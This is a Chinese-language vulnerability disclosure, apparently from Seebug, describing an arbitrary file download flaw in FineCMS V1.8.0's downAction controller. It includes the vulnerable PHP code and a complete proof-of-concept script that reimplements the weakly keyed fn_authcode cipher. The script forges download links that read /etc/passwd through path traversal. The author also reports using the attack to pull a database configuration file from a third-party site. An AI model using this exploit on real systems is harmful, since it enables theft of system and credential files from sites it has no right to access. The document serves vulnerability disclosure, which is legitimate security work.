### 简要描述:
代码审计是个技术活,需要很好的耐心.. o(︶︿︶)o
### 详细说明:
出现问题的版本是FineCMS V1.8.0 最新版。
1.顺藤摸瓜
漏洞文件:controllers/ApiController.php downAction方法
```
public function downAction() {
$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
$file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
if (empty($file)) $this->msg(lang('a-mod-213'));
if (strpos($file, ':/')) { //远程文件
header("Location: $file");
} else { //本地图片
if (!is_file($file)) $this->msg(lang('a-mod-214') . '(#' . $file . ')');; // $file = '../../../etc/passwd'
header('Pragma: public');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-length: ' . sprintf("%u", filesize($file)));
readfile($file);
exit;
}
}
```
这段控制器函数主要是将前端提交过来的file文件路径进行解密并下载,如果文件是本地路径,则直接readfile下载下来。但是系统此时没有判断该文件的合法性,假设用户提交过来的文件解密后是:
```
$file = ../../../etc/passwd //passwd文件所在路径
```
,则会导致存在任意文件下载的风险。
实现方法:
注册一个会员,然后登陆进去。在“内容管理”--> "下载"中发布文档,
[<img src="https://images.seebug.org/upload/201405/29173151f97e4ff523d9be2edf207550231793bd.jpg" alt="tu1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29173151f97e4ff523d9be2edf207550231793bd.jpg)
下载地址前面填写passwd文件相对路径,后面随便填写。然后提交,等待管理审核通过。
审核通过后,直接点击下载链接,
[<img src="https://images.seebug.org/upload/201405/29173633d776e68d23b3d6b36fdf5b8aa38b8c00.jpg" alt="tu2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29173633d776e68d23b3d6b36fdf5b8aa38b8c00.jpg)
可以看见系统passwd文件成功被下载下来了。
[<img src="https://images.seebug.org/upload/201405/29173823cab9ef88f221900d93226ad2d750688e.jpg" alt="tu3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29173823cab9ef88f221900d93226ad2d750688e.jpg)
[<img src="https://images.seebug.org/upload/201405/291740078e25424eabc0d466484fada193920bc5.jpg" alt="tu4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/291740078e25424eabc0d466484fada193920bc5.jpg)
2.另辟蹊径
上面的任意下载文件有点曲折,非要注册后等待审核才能下载。其实通过测试发现,文件下载的的路径与数据库存储和用户cookie没有任何关系,因此我们完全可以构造任意文件的加密链接,就可以直接下载了。
文件下载地址:
http://xxx.xxx.xxx.xxx/index.php?c=api&a=down&file=MWZlYi83YkxvZlJoUkdCS0xIVk9ZQ0pIZ1p3Zm5TZFR3dEJsK2pucm9wUjdqYXg0OTlXVjhYa1hrb2ZzYmdKa1Z2bmRwTnJ0NVZGdEQrTlBieXNaWWhJeXFUZ2dsRnprY0hCeGx3
file变量进行了加密,跟进加密函数
extensions/function.php
```
function downfile($url) {
return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
}
```
这里将../../../etc/passwd 作为URL参数进行fn_authcode加密生成
```
MWZlYi83YkxvZlJoUkdCS0xIVk9ZQ0pIZ1p3Zm5TZFR3dEJsK2pucm9wUjdqYXg0OTlXVjhYa1hrb2ZzYmdKa1Z2bmRwTnJ0NVZGdEQrTlBieXNaWWhJeXFUZ2dsRnprY0hCeGx3
```
但是fn_authcode里SITE_MEMBER_COOKIE变量是为空字符串的,MD5固定为: d41d8cd98f00b204e9800998ecf8427e
,并没有将用户的cookie信息作为加密因子,因此可以动态利用fn_authcode函数为我们想要的路径进行加密。
完成的POC:
```
<?php
ini_set('display_errors','1');
error_reporting(E_ALL);
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
function array2string($data, $isformdata = 1) {
if($data == '') return '';
if($isformdata) $data = new_stripslashes($data);
return serialize($data);
}
/**
* 将字符串转换为数组
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
if ($data == '') return array();
if (is_array($data)) return $data;
if (strpos($data, 'array') !== false && strpos($data, 'array') === 0) {
@eval("\$array = $data;");
return $array;
}
return unserialize($data);
}
function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$string = $operation == 'DECODE' ? $data : array2string($data);
$key = md5($key ? $key : '');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return string2array(substr($result, 26));
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
$result = str_replace('=', '', base64_encode(fn_authcode(array('finecms' => '../../../../etc/passwd'), 'ENCODE')));
echo "加密:".$result."<br/><hr>";
$data = fn_authcode(base64_decode($result), 'DECODE');
echo "解密:".print_r($data)."<br/><hr/>";
?>
<a href="http://10.121.50.249/index.php?c=api&a=down&file=<?php echo $result?>">下载地址</a>
```
我们将该POC部署到另外一台服务器上运行POC,可以直接成功下载到finecms服务器上的passwd文件。
[<img src="https://images.seebug.org/upload/201405/29181553a76a7ec8c2097e3777305695cad0fb53.jpg" alt="tu5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29181553a76a7ec8c2097e3777305695cad0fb53.jpg)
但是poc在finecms演示站没有成功,实例测试其他一个站点:
数据库配置文件
[<img src="https://images.seebug.org/upload/201405/29182232c61c644a4b3cdcd7535d550ed598fe9d.jpg" alt=".jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29182232c61c644a4b3cdcd7535d550ed598fe9d.jpg)
[<img src="https://images.seebug.org/upload/201405/29182342d49c3b32f47049cbf5eb0136bce239a5.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29182342d49c3b32f47049cbf5eb0136bce239a5.jpg)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201405/29173823cab9ef88f221900d93226ad2d750688e.jpg" alt="tu3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29173823cab9ef88f221900d93226ad2d750688e.jpg)
[<img src="https://images.seebug.org/upload/201405/291740078e25424eabc0d466484fada193920bc5.jpg" alt="tu4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/291740078e25424eabc0d466484fada193920bc5.jpg)
[<img src="https://images.seebug.org/upload/201405/29181553a76a7ec8c2097e3777305695cad0fb53.jpg" alt="tu5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29181553a76a7ec8c2097e3777305695cad0fb53.jpg)
暂无评论